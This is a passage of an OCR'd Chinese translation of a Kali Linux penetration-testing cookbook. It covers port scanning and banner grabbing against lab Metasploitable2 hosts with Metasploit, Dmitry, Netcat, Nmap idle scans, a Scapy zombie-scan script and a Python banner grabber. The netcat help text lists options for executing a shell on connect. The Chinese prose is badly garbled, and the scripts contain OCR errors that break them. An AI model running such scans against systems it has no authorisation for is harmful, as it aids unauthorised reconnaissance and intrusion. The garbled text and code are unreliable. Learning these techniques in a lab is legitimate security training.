RHOSTS 172.16.36.0/24  yes The target address ra
nge or CIDR identifier

THREADS 20 yes The number of concurr
ent threads

TIMEOUT 1000 yes The reply read timeou

t in milliseconds
msf auxiliary(tcp) > run

Scanned 038 of 256 hosts (014% complete)
Scanned 053 of 256 hosts (020% complete)
Scanned 080 of 256 hosts (031% complete)
Scanned 103 of 256 hosts (040% complete)
172.16.36.135:80 - TCP OPEN
172.16.36.135:22 - TCP OPEN
172.16.36.132:22 - TCP OPEN

Scanned 138 of 256 hosts (053% complete)
Scanned 157 of 256 hosts (061% complete)
172.16.36.180:22 - TCP OPEN
172.16.36.180:80 - TCP OPEN

Scanned 182 of 256 hosts (071% complete)
Scanned 210 of 256 hosts (082% complete)
Scanned 238 of 256 hosts (092% complete)
Scanned 256 of 256 hosts (100% complete)
Auxiliary module execution completed
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B o
B %

A T4 F Dmitry 347 TCP &4tda 4 » IR F 2 — 1 E47 TCP MR F 6922 R %
K o AT K A11E A Metasploitable2 52 4] k #4T1E % - B & Metasploitable2
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root@KaliLinux:~# dmitry
Deepmagic Information Gathering Tool
"There be some deep magic going on"

Usage: dmitry [-winsepfb] [-t ©0-9] [-0 %host.txt] host
-0 Save output to %host.txt or to file specified by -o file

-1 Perform a whois lookup on the IP address of a host

-w  Perform a whois lookup on the domain name of a host

-n Retrieve Netcraft.com information on a host

-S Perform a search for possible subdomains

-e Perform a search for possible email addresses

-p Perform a TCP port scan on a host
* -f Perform a TCP port scan on a host showing output reportin
g filtered ports
* -b Read in the banner received from the scanned port
* -t 0-9 Set the TTL in seconds when scanning a TCP port ( Defau
1t 2 )
*Requires the -p flagged to be passed
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root@KaliLinux:~# dmitry -p 172.16.36.135
Deepmagic Information Gathering
Tool "There be some deep magic going on"

ERROR: Unable to locate Host Name for 172.16.36.135
Continuing with limited modules
HostIP:172.16.36.135

HostName:

Gathered TCP Port information for 172.16.36.135

Port State

21/tcp open
22/tcp open
23/tcp open
25/tcp open
53/tcp open
80/tcp open
111/tcp open
139/tcp open

Portscan Finished: Scanned 150 ports, 141 ports were in state cl
osed

Dmitry F &) TCP s# 2ia i+ TAE B & L o 122 ZAH £ Z 389 7 %k k5 F £ 4
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root@KaliLinux:~# dmitry -p 172.16.36.135 -0 output
root@KaliLinux:~# 1ls Desktop output.txt
root@KalilLinux:~# cat output.txt

ERROR: Unable to locate

Host Name for 172.16.36.135

Continuing with limited modules
HostIP:172.16.36.135

HostName:

Gathered TCP Port information for 172.16.36.135

Port State
21/tcp open
22/tcp open
23/tcp open
25/tcp open
53/tcp open
80/tcp open
111/tcp open
139/tcp open

Portscan Finished: Scanned 150 ports, 141 ports were in state cl
osed

IAEJR 32
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Netcat TCP 57 T 42 4%

BT Netcat ENMBRE B FEZEETL s TR HEHA TCP# uiaty
I E o IANH4E KT T w718 A Netcat 4T TCP &£#4a 4
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Netcat FANEFHA » DL EZHEGME T E > -TWAHAT %4 H & o Netcat #9—FF JF
TR R T A ANATH Ok o ATHTERAER > nc LZWA -h LHA

Rl o AR 3 AE

root@KalilLinux:
[vl1.10-40]

~# nc -h

connect to somewhere: nc [-options] hostname port[s] [ports]

listen for inbound: nc -1 -p port [-options] [hostname] [port]

options:

-c shell commands as "-e'; use /bin/sh to exec [dangerous!!]

-e filename

program to exec after connect [dangerous!!]

-b allow broadcasts

-g gateway source-routing hop point[s], up to 8

-G num source-routing pointer: 4, 8, 12,

-h this cruft

-1 secs delay interval for lines sent, ports scanned

-k set keepalive option on socket

-1 listen mode, for inbound connects

-n numeric-only IP addresses, no DNS

-0 file hex dump of traffic -p port local port numb
er

-r randomize local and remote ports

- Ssecs guit after EOF on stdin and delay of secs

-s addr local source address

-T tos set Type Of Service

-t answer TELNET negotiation

-u UDP mode

-V verbose [use twice to be more verbose]

-W secs timeout for connects and final net reads

-z zero-I/0 mode [used for scanning]

port numbers can be individual or ranges: lo-hi [inclusive]; hyp
hens in port names must be backslash escaped (e.g. 'ftp\-data').

Ehedr B AT R TR > -z BATAZEM T4 - AT AR AL LN TCP

80 sm & » &AL

-n LMEEAHIERE P MR 0 -y R TiEmiy

g -z ®IRA Tiahe » BTH

root@KalilLinux:
(UNKNOWN) [172.
root@KalilLinux:
(UNKNOWN) [172.

T A T L83 4 E RIAAT R R
AL % % @ AT A R A 4 B

A2 o R H

~# nc -nvz 172.16.36.135 80

16.36.135] 80 (http) open

~# nc -nvz 172.16.36.135 443

16.36.135] 443 (https) : Connection refused
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root@KaliLinux:~# for x in $(seq 20 30); do nc -nvz 172.16.36.13
5 $x; done

(UNKNOWN) [172.16.36.135] 20 (ftp-data) : Connection refused
(UNKNOWN) [172.16.36.135] 21 (ftp) open

(UNKNOWN) [172.16.36.135] 22 (ssh) open

(UNKNOWN) [172.16.36.135] 23 (telnet) open

(UNKNOWN) [172.16.36.135] 24 (?) : Connection refused
(UNKNOWN) [172.16.36.135] 25 (smtp) open

(UNKNOWN) [172.16.36.135] 26 (?) : Connection refused
(UNKNOWN) [172.16.36.135] 27 (?) : Connection refused
(UNKNOWN) [172.16.36.135] 28 (?) : Connection refused
(UNKNOWN) [172.16.36.135] 29 (?) : Connection refused
(UNKNOWN) [172.16.36.135] 30 (?) : Connection refused

WG s EE %S SToOUT » X B ERIE » RNREB s 2 BRETHFE T8y
1T BMEZTAE Awif o » B IR EANE L9128 c wREN TR
T o BAVTRBEBARAE = FeH @A~ FH

root@KaliLinux:~# for x in $(seq 20 30); do nc -nvz 172.16.36.13
5 $x; done 2>&1 | grep open | cut -d " " -f 3-4

21 (ftp)

22 (ssh)

23 (telnet)

25 (smtp)

AR T 0 cut BT TR ERYBH » 25 R4S F B
89 F B B X BAT o 2R T 5 — A J B T ik 0 3L Netcat F48 2% 0
TE o R R R TR SEIT o M@ ne PN T HILEE T
Netcat & B 3 e 2 F 694308 o

root@KalilLinux:~# nc 172.16.36.135 -nvz 20-30
(UNKNOWN) [172.16.36.135] 25 (smtp) open
(UNKNOWN) [172.16.36.135] 23 (telnet) open
(UNKNOWN) [172.16.36.135] 22 (ssh) open
(UNKNOWN) [172.16.36.135] 21 (ftp) open

128 s R ZBAAE » RATE 2 C oo B4 sToouT » MBS HAE# % cut &
Fro MR T 23 4089FK s RATTATRS] IP ¥uit ~ 38 0 5 A B4 KR 56940
oo ARIXAE

root@KaliLinux:~# nc 172.16.36.135 -nvz 20-30 2>&1 | cut -d " "
-f 2-4

[172.16.36.135] 25 (smtp)

[172.16.36.135] 23 (telnet)

[172.16.36.135] 22 (ssh)

[172.16.36.135] 21 (ftp)
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root@KalilLinux:~# for x in $(seq 0 255); do nc 172.16.36.%$x -nvz
80 2>&1 | grep open | cut -d " " -f 2-4; done

[172.16.36.135] 80 (http)

[172.16.36.180] 80 (http)

IAEJR3E

AT TCP #4424 09 Fl B8 L AT R0 = REF > Ao it AL A G0 BT A 842 1455
DR T EH o MURERATEELSTAI L - wREHKE S » MOKUAA R
TR > b REF TR IEL > 58 TR AKX 8 o

3.15 Scapy 1= F 1244

EMTLIRFIBAFARAAARE D s M TG TAAALRELNIEE o RIS EHk
PR ARLEB P At AEARENZS T HELERE FERLREFEE IPID
7 ) 8 BT AT o X AHBLFE BT T 4o fT4E ] Scapy W ATIE P 24 o

&

7 T4 R Scapy HATI® P dats » R EFEBMA BT TCP MEFMTAEAL » UAF—
ANAA IPID #3385 7] 69 A2 A 4 o £ PTIREEE9 6] -F F > Metasploitable2 F 1E4a #
H 4% » WindowsXP M4k IPID #3891 F o % ThofT A AL RIRFE THRE A 40
F 5128 A X F—F 6 %2 Metasploitable2’#“ % % Windows R % %"k 4% o
oh s R—FHFRAEALRBE S AT B AL > Hl4e VIM R Nano © 4=
THREBMAGELIEZE > HHEEF—FFHRAILAREERE (VIM X Nano) "t

»‘g-o

BAYE T %

A IPHOFPHRELGEZLZID 5T c RETAL ID T 2MAAR » THBLINE
THis s RETHRAEFNLZNG IPHEFAEE 1 wR AT IPID #3365 240
FARANAINFAARFREECRELAELE » ChTUARAERIEC A% L4508
FH o BMTUABAITEE AP IPHE > HoMeark » kR T ALN IPID &5
7B R, o

>>> replyl = sri1(IP(dst="172.16.36.134")/TCP(flags="SA"), timeout
=2,verbo se=0)

>>> reply2 = sr1(IP(dst="172.16.36.134")/TCP(flags="SA"), timeout
=2,verbo se=0)

>>> replyl.display()

HH#[ IP ]###



version= 4L

ihl= 5L

tos= 0Ox0

len= 40

id= 61

flags=

frag= oL

ttl= 128

proto= tcp

chksum= 0x9938
src= 172.16.36.134
dst= 172.16.36.180
\options\

#it#[ TCP |###
sport= http
dport= ftp_data
seq= 0
ack= 0
dataofs= 5L
reserved= OL
flags= R
window= ©
chksum= 0xe22
urgptr= 0
options= {}

###[ Padding ]###
load= '\x00\x00\Xx00\x00\Xx00\x00'

>>> reply2.display()

#Hit#[ IP |###
version= 4L
ihl= 5L
tos= Ox0
len= 40
id= 62
flags=
frag= oL
ttl= 128
proto= tcp
chksum= 0x992d
src= 172.16.36.134
dst= 172.16.36.180
\options\

#i#[ TCP [###
sport= http
dport= ftp_data
seq= 0
ack= 0
dataofs= 5L
reserved= OL
flags= R
window= 0
chksum= 0xe22
urgptr= 0



options= {}
###[ Padding |###
load= "\X00\XOO\XOO\XOO\XOO0\X00'

4o R KA1 % Windows 12 2 A AR ZE A IP %1‘@ ’ &ﬂ‘]ﬁrﬂﬁéiﬂﬂﬂr@]&“}’é@ ID &
B e ZRFEF—MERGEE 4 ID 261 AE 62 o XA ML G A
%3 6 IPID 53] » A BRIZCHRFR L - bTVX)ﬂﬁ?mxﬁ:ﬁ’ﬂwF » k#ATIEF 42

Ho ATHATIZE P adh » LAEMEP A% R %4456 SYN+ACK 5K » R FI B R =
B RST P S AT IPID 1 o 2 )6 > ati B ik 49569 SYN 25 » #HIEF &
.69 IP Jribik o ww R0 L3748 > BB IF LK E SYNHACK " 818 7 - !
T8 P AR £ L E M6 SYN #EEK » ©4 3 SYN+ACK & M@?r B s B
M B &K% RST %1‘&, o l¢b4¢ IPID 34 10 &JE *» REEIEFP X% H—/
SYN+ACK 3t & » € 48 = RST 3 253 IPID B R3Em 1 o IPID AL tn4s of 2 38
T 20 WRTATA R ﬁbﬂ?laﬂ%ﬁfﬁ:i? FEAR 32t A %09 B Azs% 0 25089 o

RZ o dmRmagXMEy » X ATE AT E > ZfEFHKE N RST A
T REA o e RBIAR AL B irm o £ XH » RSTHELSK LB A4 »
e A 4k thEeg SYN 3t &897am - T RST 3 R AEME 2 » 18P 244
IPID 15 & £ 4t o BT » 4F A SYN+ACK 3 69 » R E4dadh A 46 &G 89
RST %T ¢l él] IPID 'fL_/\ ﬁimj]‘? 1o

AT ALRAEAR » TEgE AL Python %5 > €AIRA T ARBF A4 > duxtia
W BARPAT TR 424w o

#!/usr/bin/python

import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *

def ipid :

replyl = sri1(IP(dst=zombie)/TCP(flags="SA"),timeout=2,verbos
e=0)

send(IP(dst=zombie)/TCP(flags="SA"), verbose=0)

reply2 = sri1(IP(dst=zombie)/TCP(flags="SA"), timeout=2, verbos
e=0)

if reply2[IP].id == (replyl[IP].id + 2):

print "IPID sequence is incremental and target appears t

o be idle. ZOMBIE LOCATED"

response = raw_input("Do you want to use this zombie to
perform a scan? (Y or N): ")

if response == "Y'":

target = raw_input("Enter the IP address of the targ
et system: ")
zombiescan(target,zombie)
else:
print "Either the IPID sequence is not incremental or th
e target is not idle. NOT A GOOD ZOMBIE"

def zombiescan
print "\nScanning target " + target + " with zombie " + zomb



ie print "\n--------- Open Ports on Target-------- \n"
for port in range(1, ):
try:

start_val = sr1(IP(dst=zombie)/TCP(flags="SA",dport=
port), tim eout=2, verbose=0)

send(IP(src=zombie, dst=target)/TCP(flags="S", dport=p
ort), verbose=0)

end_val = sr1(IP(dst=zombie)/TCP(flags="SA"), timeout=

,verbo se=0)
if end_val[IP].id == (start_val[IP].id + 2):

print port
except:
pass

print "----------- Zombie Scan Suite------------ \n"
print "1 - Identify Zombie Host\n"
print "2 - Perform Zombie Scan\n" ans = raw_input("Select an Opt
ion (1 or 2): ")
if ans == "1":
zombie = raw_input("Enter IP address to test IPID sequence: "

)
ipid(zombie)
else:
if ans == "2":
zombie = raw_input("Enter IP address for zombie system: "
)
target = raw_input("Enter IP address for scan target: ")
zombiescan(target, zombie)
J E—

EPATHALIRF s AP 2RI ENERGR T c MAHBABLIA 1> KATT A28
RIEAE B AR IPID 52| R FI BT & T EHAANTRHGIEF o BZEIMAER L » FF
WA HIEY IPID 77 » IMRTAAERF o A LA P KR ELTERIEF £
WATI R o WwRIAT T 42k » 238 TCP 3% 0 a7 100 A Hoht 69 4 /A3 hk 47 37 @ 1
WAL o JLIXAE



root@KaliLinux:~# ./zombie.py
----------- Zombie Scan Suite-----------

1 - Identify Zombie Host
2 - Perform Zombie Scan

Select an Option (1 or 2): 1

Enter IP address to test IPID sequence: 172.16.36.134

IPID sequence is incremental and target appears to be idle. ZOM
BIE LOCATED

Do you want to use this zombie to perform a scan? (Y or N): Y
Enter the IP address of the target system: 172.16.36.135

Scanning target 172.16.36.135 with zombie 172.16.36.134

21
22
23
25
53
80

IAE)R 32

BPRAMINMMBPBRAATICE BTN 7FELY Tﬁﬁxﬁﬁﬁk ¥4
P FROEERLAWRAL ARG EFFHFRELEF A% » EMNkTAB L%
1E1&8 P A% 697m )2 69 IPID 18 kB4t B A R 69 73055 O o

3.18 Nmap 1 F 1249

whE—AME ERBEATUHAS TEREBFAHT BN T/ERERAHY -
Nmap PR —# 509 E X s TAR THATEB P a8 - INMBEREFTT &
f4& Bl Nmap #AT1& F 3245 ©

%

A T4 Nmap #ATI& P dah » R EZIMAZIT TCP IR F TR AL » URH—
ANA IPID #3855 0 A2 R4 - £ PTAR B89 6]F F » Metasploitable2 i 1E4a 44
aﬁ’wmmWMMWMMD%ﬁ%@P % ThefT e AREHBIRFT TR E AL
# %1438 > A5 F FH—F 69 2 K Metasploitable2’ 7“2 £ Windows & % £"#b 4% o
b%’i*v& %&HX$%°”%W$5@Xﬁ%% %4 VIM 2 Nano ° 4=
ﬁ% EMANE S8 HEAZRH—F PO ALARES (VIM X Nano) "#k

El o



e B

18 F 28T e Nmap P # 5 8347 o 122 » &A1 1442 A Metasploit ik & HAE
{7 o] A 6918 P 12365 » @ d a A ik B A1 4& PIPD 57 » @ A~ 248
Nmap 18 Fdafh o A 7 XM » KA EF £ msfconsole #4377 Metasploit °
LA IPID 5 7 4HBh A3 » R XAE



root@KaliLinux:~# msfconsole

e e e B e e S e e e = = = +
| METASPLOIT by Rapid7 |
e e e e e e e e e e e e +
| | |
| =:C( (O( (_() | |nnunnnuunnuu|======[*** |
| )=\ | | EXPLOIT \ |
| /7 \\ | \ |
| // \\ | | == [msf >] ============\ |
| // \ || \
| // RECON \\ | \(@)(@)(@)(@)(@)@)(@)/ |
| // \\ | khkhkhhhhhhhhhkhhhkhhkhkk* |
e e e e e e e e +
| 00 0 | NAVAVAVAY. |
| o0 | )::::::( |
| 0 | " LooT . |
| |/\/\/\/\/\/\/\/\/\/\/\/\/\/\|l— | / _l |_ \ |
| | PAYLOAD [""\ ;o / (|- \ |
| | |—1)—1I | | —|12) | |
{ | (@) (@)"""**|(@)(@)**|(@) I "' | | ." I
e e bl '

Using notepad to track pentests? Have Metasploit Pro report on h
osts, services, sessions and evidence -- type 'go_pro' to launch
it now.

=[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ -- --=[ 1053 exploits - 590 auxiliary - 174 post
+ -- --=[ 275 payloads - 28 encoders - 8 nops

msf > use auxiliary/scanner/ip/ipidseq
msf auxiliary(ipidseq) > show options

Module options (auxiliary/scanner/ip/ipidseq):

Name Current Setting Required Description

INTERFACE no The name of the interfa
ce

RHOSTS yes The target address rang
e or CIDR identifier

RPORT 80 yes The target port

SNAPLEN 65535 yes The number of bytes to
capture

THREADS 1 yes The number of concurren
t threads

TIMEOUT 500 yes The reply read timeout

in milliseconds



L%%%ﬁ%Tum%ﬁim%ﬂ‘Jiﬂ%“@?&ﬁ&# » 9[ A4# | CIDR 12
é:%&x 75 Tﬁia‘zi BRI BATT A% THREADS T 1% A4 5389 K1t %
#¥E B

msf auxiliary(ipidseq) > set RHOSTS 172.16.36.0/24
RHOSTS => 172.16.36.0/24

msf auxiliary(ipidseq) > set THREADS 25

THREADS => 25

msf auxiliary(ipidseq) > show options

Module options (auxiliary/scanner/ip/ipidseq):

Name Current Setting Required Description
T INTERFACE
no The name of the interface

RHOSTS 172.16.36.0/24 yes The target address rang
e or CIDR identifier

RPORT 80 yes The target port

SNAPLEN 65535 yes The number of bytes to
capture

THREADS 25 yes The number of concurren
t threads

TIMEOUT 500 yes The reply read timeout

in milliseconds

—B M ETERET A » BT AEA show options kA RIE1ES 4
B E o IPID F2a# G T AL A run 44 k#tT o

msf auxiliary(ipidseq) > run

172.16.36.1's IPID sequence class: Randomized
172.16.36.2's IPID sequence class: Incremental!
Scanned 026 of 256 hosts (010% complete)
Scanned 052 of 256 hosts (020% complete)
Scanned 077 of 256 hosts (030% complete)
Scanned 103 of 256 hosts (040% complete)
Scanned 128 of 256 hosts (050% complete)
172.16.36.134's IPID sequence class: Incremental!
172.16.36.135's IPID sequence class: All zeros
Scanned 154 of 256 hosts (060% complete)
Scanned 180 of 256 hosts (070% complete)
Scanned 205 of 256 hosts (080% complete)
Scanned 231 of 256 hosts (090% complete)
Scanned 256 of 256 hosts (100% complete)
Auxiliary module execution completed

[ I s I s I s Y s I s s N s N s B s B s B s B s I s B |
L I B I R T R . R . N
e e e e e e e e e e e e e e

BT IPID 5 7| da #4E3k A it 7 PR AL 09 M 2556 A » € 2R 314k R L £ 4L8) IPID %
PN FHERTEAEZ 0’%m&ﬁﬁ% mfhfbi%ﬁ@ﬁiﬁwﬁ%
Hi#HEHIPID HARAEME L ECIMNTEHoh o —LRH THEY BRI I



AL AT AL Nmap PARF -sT 3 BAF A f& P ZALE) IP ik Rk #4718 F 42

o

root@KaliLinux:~# nmap 172.16.36.135 -sI 172.16.36.134 -Pn -p 0O-
100

Starting Nmap 6.25 ( http://nmap.org ) at 2014-01-26 14:05 CST I
dle scan using zombie 172.16.36.134 (172.16.36.134:80); Class: I
ncremental

Nmap scan report for 172.16.36.135

Host is up (0.045s latency).

Not shown: 95 closed|filtered ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open

http MAC Address: 00:0C:29:3D:84:32 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 2.75 seconds

L @egFF o &P a AT A2 M B4z 172.16.36.135 49 AT 100 4~ TCP 3% 2

Foo kI EM 172.16.36.134 FAEEF 0 -Pn & TEIE Nmap 21K ping 42
B AR o BATHF » KRAVRAFRET AN EGFRED » f R4 BEfH
BEIMTE - BZ > T RBROHOLALBH/ A > ALARFLRHAGIEF
IMZ R A A EHEGRE o

IAEJR 32

18 F 12 #4589 )& B MLl An £ — Ak 4% F 1396 2 89 Scapy #94] T4aF] o 2% > 42
Nmap 1& 7 12 f542 X1 KATaE B AL 50 8 69 i T E R B PATHE LR ©



X5

% v = 35 408 B

Y4 : Justin Hutchens
CE Y
1L : CC BY-NC-SA 4.0

WH AR E L EH AL FREFZIEARAL LA RGHOZE » TRLTHBIK
BEXTENFFAHETOIREGIZE o ERFET » K143 AT Kali Linux 4945
LA R SR P B R RI R o XEBE ARG QFEFAEIRI > IRFIRMRG] » 3B4E A LR
% » SNMP 12 & E A= By K 3R 5] o

4.1 Netcat ¥ fEPRIX

Netcat £ 4% Aoy M & T L > T LA T /& Kali F#4T % Mz Bk EFia it % o

X AFLFE R T T 4o fT48 B Netcat 35 BUR %45 4R » VUE IR ) Fo FF 30 5% 1 4R % 69 FR
g}o

f R B A A 0 R B AT - A AT R RIS RGERR
Moo REFHENBEABNBTHATHITIUNMRMES O TR o ZREF O
HFFAEPREL > IR FiRA] > BAF ALRA] 0 SNMP 54747 B7 KGR 5] o XBAE 8
HF— MR TRTRZKEDFZALGE L > RRRA TSI EFEZAL -

&

A TA2 R Netcat MEMR FAFAE > £ F PRk &EEN > REZMA ETAMEE
B W 28 IR % 6) AL A AR o RELEIH] TR A T Metasploitable2 R #ATEAME SR © B
& Metasploitable2 # £ %12 & » #h 5% % —F 892 % Metasploitable2”#:4# ©

A ZRRP|ERIRSE > ARFZAKREN A Fo FRZ AT » KRAVZ % B 504 1%L R
$RELBENBEAT - REBREOESTZRMREELELN TR G H B
Ko dFHATMAIREYRAELERA > RIABEH > RELMAR MEER > £EZR
SHRHEFHRART o FEZGL > X THFEMRAAR » Z2AZT &t TRPIKAFF Cse
0155 5 > EhfaFe RIFIER AR o MR EFI TRLFRE » ENTARE FHERIR
SRIE 2R AT ECE—ANARAZERELL s CRZZ AT » TR
b FFhEEP TR I EGHEANE RGBS o £ RS PGB AEIIAEL L i AR EY
I E > K ZREAHCINBAFAEGIES » R IRARTHREZGFHRE -

R FBRETRERBEETCORGFRA s BNELE SR BHIRSE - A&
T BATT VAR BAFGITA » RIFRA THARINR SO E— A o EETUR
Yo L BAT A B TAL IR B4 TR 094 THRA » Rifn > T TR BAFHZE 4
By FmIR o SHEFT AR AR AR o F1EL > F 5 LT ALOEE g fZREF LR
FREEN > RS REAARRE AR FAITH o G480 0 oam TALLT LA T
WA TR S B XIS LEETHREBREAL o RE T LKA H#ARE IR 40
B A %GR B AL EE Bt o


https://github.com/
http://creativecommons.org/licenses/by-nc-sa/4.0/

BEMEEEHIL (SNMP) & —Ff 4 &4 % ﬂ%ﬂ%u%& L A2 % I8 R 4 69
B e SNMP 898 25805 AR T 8 A THRIERIAT o 12 A KINA KT & ZF
BEREEFTHERY o SR AXMENN » AEF BT TAZAKEDIFZRESEREN
kzﬁa’#ﬂ%iﬁﬁ%H&Téﬁm%u% F|H SNMP A T13 8k £ 693
AR e R SNMP 547 694k b 1448 o

ARKEXTHAEBARYZEN » TE2OL > BZT BT RY ARDMNERLEHE
{2 sg o BFRKIERL—AMBZERKME > ATHREERINEER LA THIZOMN
BRE o BRI Wﬁﬂﬁi%iﬁ%ﬂ:iﬁiﬁﬁ%i}]ﬁ%" by K3 69 5 A5 T & A&

GAARZAHAT A TZRABNRTETREG S X o BB KEG XSGR
% 0 B ARG 12 DR By K% R 7] 89 Ak 4R ?ﬁmo

B B

A T4¢ B Netcat IREBUR F4F4E » BN MRS 2B ALY B 3o s 28T
HEHE o AT iR A Netcat 89 B % » AR YATH T % B 6 » ATl die R 7
Foo I VMER -h BTAREKADK

root@KaliLinux:~# nc -h
[v1.10-40]
connect to somewhere: nc [-options] hostname port[s] [ports]

listen for inbound: nc -1 -p port [-options] [hostname] [port

]
options:
-c shell commands as "-e'; use /bin/sh to exec [dangerous!!]

-e filename program to exec after connect [dangerous!!]

-b allow broadcasts

-g gateway source-routing hop point[s], up to 8

-G num source-routing pointer: 4, 8, 12,

-h this cruft

-1 secs delay interval for lines sent, ports scanne
d

-k set keepalive option on socket

-1 listen mode, for inbound connects

-n numeric-only IP addresses, no DNS

-o file hex dump of traffic

-p port local port number

-r randomize local and remote ports

-q secs quit after EOF on stdin and delay of secs

-s addr local source address

-T tos set Type Of Service

-t answer TELNET negotiation

-u UDP mode

-V verbose [use twice to be more verbose]

-W secs timeout for connects and final net reads

-z zero-I/0 mode [used for scanning]



Wit & A TR S ANER o RATTAFIH > B IIE A 0 IP ehbfess o
T BT ARG B AT &5k v by

root@KaliLinux:~# nc -vn 172.16.36.135 22
(UNKNOWN) [172.16.36.135] 22 (ssh) open
SSH-2.0-0penSSH_4.7p1 Debian-8ubuntul

AC

RGBT+ » 412 T £ Metasploitable2 £ %4 172.16.36.135 %2 22 &
¥ o v WA TR Fmird 0 -n @&AA T RAE K DNS AT k&£ 5] X A
IP #hk o 3 L XM TIAA R » AR EHR I HFIERIREZRH 4 SSH | @A
OpenSSH » £ EZ X A AR 4.7 - Netcat L4 A& » ATARRAFAEZ )G »
T AT ctrl + C RBITXRAESE -

root@KaliLinux:~# nc -vn 172.16.36.135 21
(UNKNOWN) [172.16.36.135] 21 (ftp) open
220 (vsFTPd 2.3.4)

nC

AR IATA R AL 21 550 Lagaiida ks » RATT L 5 RAFATELT FTP IR 69 MR
SHRAAZ B o ENFAMBETREERANIZE o THREITEZRALGR SR
KBF T RBAGFAEE T XTURATHAREANAZE L ©

IAEJR 32

Netcat fE B AR X LR S H4FE > RA LB P ESGEHECINGNIZE > REGHRE
LHCHERZEEE - ARFAEREGFRAGRESTRAELT LT FIER » LARK
RPumiEBEs TEeNBAEEYB B TALR N ZAZRT R INETRTH
MM LR o £t fT » et T RRALE » KA HEL XGRS T4 L% -

CAT AR F AR XREBREFE -

4.2 Python £ 4% F4F fEIRIR

Python 89 £ 3 FAE R T AR THF ST A EHER 0 LB IR o ZAFLLE R TIK
T 4o T4 ]l Python £33 R RBUR F 4548 » VR 3] B 4z A& 4 LA 305 o 48 X
IR % o

%

A TAE R Python £ F K R FHAE » £F P kX &N » R E WA BT
AT OB IR %69 AL A4 o 3RAELEGH] T2 T Metasploitable2 sk #ATX ME
% o Bu & Metasploitable2 &) £ %13 & » #5455 % —F 8“2 % Metasploitable2"#t

x5

#

2

o

i



Wt —FHELREHWAYE LIZ8 EA5EE—FPOE A LRAEE SR VIM
#» Nano” °

BRAE B

1A Python K ZXAHEE > RN TAAESZEMSRERXE - TR B
B Python & Xk A B R E o XL » AR A FAAEATIT FAE A 694§ €A%
o RERMIFAEHTRSR -

root@KalilLinux:~# python

Python 2.7.3 (default, Jan 2 2013, 16:53:07)

[GCC 4.7.2] on linux2

Type "help", "copyright", "credits" or "license" for more infor
mation.

>>> import socket

>>> bangrab = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>> bangrab.connect(("172.16.36.135", 21))

>>> bangrab.recv(4096) '220 (vsFTPd 2.3.4)\r\n'

>>> bangrab.close()

>>> exit()

ARG FF 0 KAU14EA L bangrab SIET#HOEHET o AF_INET %A T

AT BHEFE R IPv4 XAk 0 SOCK_STREAM %%k A T & =& TCP kit# o —
BEEFQREITE » TUMER connect kWt ibitdE o 1 F+ o bangrab £

Fi% 3 Metasploitable2 Z#2 £ 4 172.16.36.135 69 21 55 0 o &3

& recv RETUATNEZEFHMEZNRSFZERANE - BREATHAREZLE €4
T EEA I E o X E > KA 4K % B 1217 £ Metasploitable2 /R % % E&) FTP

PR RAEGI4FAE c B » close BUATUATRALLE R GHEMEOERE - wR

BENZREBETELEEYIRS > Python B £ AR EI4#4% o

root@KalilLinux:~# python
Python 2.7.3 (default, Jan 2 2013, 16:53:07)
[GCC 4.7.2] on linux2
Type "help", "copyright", "credits" or "license" for more infor
mation.
>>> import socket
>>> bangrab = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>> bangrab.connect(("172.16.36.135", 443))
Traceback (most recent call last):
File "<stdin>", 1line 1, in <module>
File "/usr/lib/python2.7/socket.py", line 224, in meth
return getattr(self._sock, name)(*args)
socket.error: [Errno 111] Connection refused
>>> exit()



4o R KAV 2R E Metasploitable2 A% L8 TCP 443 5w » 2B E— 5% 0 &
TEEMIEL o XA A RN TR ‘:'J:./x?ﬁ‘l\ﬂ'ﬂli% 12,% » Bpig 4% B e IR %12
A2 B Arsm 2 B RS TREARATBIR $ 8945 AR o 31X 9T ¥A3A 1§ 5 Metasploitable2
A% TCP 80 sm o ik RAF o

root@KaliLinux:~# python

Python 2.7.3 (default, Jan 2 2013, 16:53:07)

[GCC 4.7.2] on linux2

Type "help", "copyright", "credits" or "license" for more inform
ation.

>>> import socket

>>> bangrab = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>> bangrab.connect(("172.16.36.135", 80))

>>> bangrab.recv(4096)

EBITEZAL 80O LR S5 EE » B RS }]E’Lk#%mi%\z\a"%@)ﬁ o 4m
% recv T*iﬁ)’ii};]}ﬂ 12 FRBAETRIELFELH > INRRESWHAE - A T1E
il Python B sh LI EHFAE » KAV AE A AR T R R R P A G T AIRIE| HAE
ARAZANSHEZAT o select HE A XA F AR T@ﬂ%%&ﬁ*o

root@KalilLinux:~# python

Python 2.7.3 (default, Jan 2 2013, 16:53:07)

[GCC 4.7.2] on linux2

Type "help", "copyright", "credits" or "license" for more infor
mation.

>>> import socket

>>> import select

>>> pangrab = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>> pangrab.connect(("172.16.36.135", 80))

>>> ready = select.select([bangrab],[],[],1)

>>> if ready[0]:

. print bangrab.recv(4096)

. else:
. print '"No Banner"
. No Banner

select *f ZAKAIHE - %Mé?mfrﬂmy°ﬁ4ﬁ%ﬁ%k?44%ﬁ’€%
RS & BAGIR  FEIK ﬁ"&iiﬂfﬁ/%’iﬁ’]ﬁiﬂﬁ RE > RATRALE &
BB EHEFH QAR T AR 0 BT R Ao 5 Z A5 R R E Y o REE L — A
s SR EAF] KR EEE—A o KAV bangrab £ G A RAAEAT T % A F RS
Ao A T HIBT AT AL 0 RATT AR XL LB F —AME > I B RAEIRAE > KA
TURNEHEFFHEZT AL o EAIAT UL Python =T #ATH Ak B #h1L



#!/usr/bin/python

import socket
import select
import sys

if len(sys.argv) != 4:

print "Usage - ./banner_grab.py [Target-IP] [First Port] [La
st Port]"

print "Example - ./banner_grab.py 10.0.0.5 1 100"

print "Example will grab banners for TCP ports 1 through 100
on 10.0.0.5"

sys.exit()

ip = sys.argv([1]
start = int(sys.argv[2])
end = int(sys.argv[3])
for port in range(start,end):
try:
bangrab = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

bangrab.connect((ip, port))
ready = select.select([bangrab],[],[]1,1)
if ready[0]:
print "TCP Port " + str(port) + " - " + bangrab.recv (409
6)
bangrab.close()
except:
